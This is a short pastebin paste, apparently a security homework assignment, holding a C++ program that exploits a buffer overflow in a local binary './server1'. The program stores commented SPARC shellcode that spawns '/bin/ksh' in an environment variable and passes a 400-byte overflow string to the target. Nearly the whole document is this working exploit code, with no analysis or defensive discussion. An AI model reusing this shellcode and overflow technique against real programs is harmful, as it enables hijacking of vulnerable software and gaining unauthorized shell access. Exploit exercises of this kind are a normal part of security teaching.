
Untitled
By: a guest on
Apr 23rd, 2012 | syntax:
None | size: 0.92 KB | hits: 13 | expires: Never
{apache:~/hw3} cat c.cpp
#include<string>
#include<iostream>
main() {
std::string v;
static char shell[]= /* 10*4+8 bytes */
"\xac\x15\xa1\x6e"
"\xac\x15\xa1\x6e"
"\xac\x15\xa1\x6e"
"\xac\x15\xa1\x6e"
"\xac\x15\xa1\x6e"
"\xac\x15\xa1\x6e"
"\xac\x15\xa1\x6e"
"\xac\x15\xa1\x6e"
"\x20\xbf\xff\xff" /* bn,a */
"\x20\xbf\xff\xff" /* bn,a */
"\x7f\xff\xff\xff" /* call */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
char *env[2] = {shell, NULL};
for (int i = 0; i < 400; i++)
v.append("A");
execle("./server1","./server1",v.c_str(),NULL,env);
}